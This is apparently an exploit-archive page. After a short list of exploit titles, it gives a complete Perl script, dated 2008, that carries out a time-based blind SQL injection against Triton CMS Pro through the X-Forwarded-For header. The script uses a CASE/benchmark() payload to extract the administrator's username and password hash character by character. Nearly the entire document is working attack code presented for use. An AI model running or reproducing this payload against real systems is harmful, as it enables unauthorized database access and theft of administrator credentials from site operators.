477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
122 lines
2.7 KiB
Perl
Executable file
122 lines
2.7 KiB
Perl
Executable file
#!/usr/bin/perl -w
|
|
#Triton CMS Pro (X-Forwarded-For) Blind SQL Injection
|
|
#Admin's username/hash disclosure exploit
|
|
#Benchmark() method, so take a coffee and relax
|
|
#Coded by __GiReX__
|
|
|
|
use LWP::UserAgent;
|
|
use HTTP::Request;
|
|
|
|
if(not defined $ARGV[0])
|
|
{
|
|
print "\nUsage: perl $0 [host] [path] [1/2]\n";
|
|
print "Example: perl $0 localhost /tcms/\n";
|
|
exit;
|
|
}
|
|
|
|
my $host = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
|
|
$host .= $ARGV[1] unless not defined $ARGV[1];
|
|
|
|
my $client = new LWP::UserAgent;
|
|
my $get = new HTTP::Request('GET', $host);
|
|
my @cset = (97..122, 0); # Only a-z charset for username exploit if need change it
|
|
my @cset2 = (48..57, 97..102);
|
|
my $prefix = "tc_";
|
|
|
|
my ($i, $j) = (0, 1);
|
|
my ($user, $hash) = (undef, undef);
|
|
|
|
banner();
|
|
|
|
while($i != $#cset)
|
|
{
|
|
for($i = 0; $i <= $#cset; $i++)
|
|
{
|
|
my ($pre_time, $post_time) = time();
|
|
|
|
info(chr($cset[$i]), "Username", $user);
|
|
$rv = check_char($cset[$i], $j, "username");
|
|
$post_time = time();
|
|
|
|
if($post_time - $pre_time > 3 and $rv)
|
|
{
|
|
$user .= chr($cset[$i]);
|
|
last;
|
|
}
|
|
}
|
|
|
|
$j++;
|
|
}
|
|
|
|
if(not defined $user)
|
|
{
|
|
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark and expected time\n\n";
|
|
exit;
|
|
}
|
|
else
|
|
{
|
|
print STDOUT "\n[+] Admin Hashed Pass: \r";
|
|
}
|
|
|
|
for($j = 0; $j <= 32; $j++)
|
|
{
|
|
for($i = 0; $i <= $#cset2; $i++)
|
|
{
|
|
$pre_time = time();
|
|
|
|
info(chr($cset2[$i]), "Hashed Pass", $hash);
|
|
$rv = check_char($cset2[$i], $j, "password");
|
|
$post_time = time();
|
|
|
|
if($post_time - $pre_time > 3 and $rv)
|
|
{
|
|
$hash .= chr($cset2[$i]);
|
|
last;
|
|
}
|
|
}
|
|
}
|
|
|
|
if(not defined $hash or length($hash) != 32)
|
|
{
|
|
print STDOUT "\n\n[-] Exploit mistake: please check the benchmark expected time\n\n";
|
|
}
|
|
else
|
|
{
|
|
print STDOUT "\n\n[+] Exploit terminated\n\n";
|
|
}
|
|
|
|
|
|
sub banner
|
|
{
|
|
print "\n";
|
|
print "[+] Triton CMS Pro (X-Forwarded-For) Blind SQL Injection\n";
|
|
print "[+] Admin's username/hash disclosure exploit\n";
|
|
print "[+] Coded by __GiReX__\n";
|
|
print "\n";
|
|
}
|
|
|
|
sub info
|
|
{
|
|
my($c, $str, $cur) = @_;
|
|
|
|
$cur = '' unless defined $cur;
|
|
print STDOUT "[+] Admin ${str}: ${cur}${c}\r";
|
|
|
|
$| = 1;
|
|
}
|
|
|
|
sub check_char
|
|
{
|
|
my ($char, $n, $field) = @_ ;
|
|
|
|
$get->header('X-Forwarded-For' => "-1' AND ".
|
|
"CASE WHEN (SELECT ASCII(SUBSTRING(${field}, ${n}, 1)) ".
|
|
"FROM ${prefix}members WHERE id=1)=${char} ".
|
|
"THEN benchmark(99000000, CHAR(0)) END#");
|
|
|
|
$res = $client->request($get);
|
|
|
|
return $res->is_success;
|
|
}
|
|
|
|
# milw0rm.com [2008-07-07]
|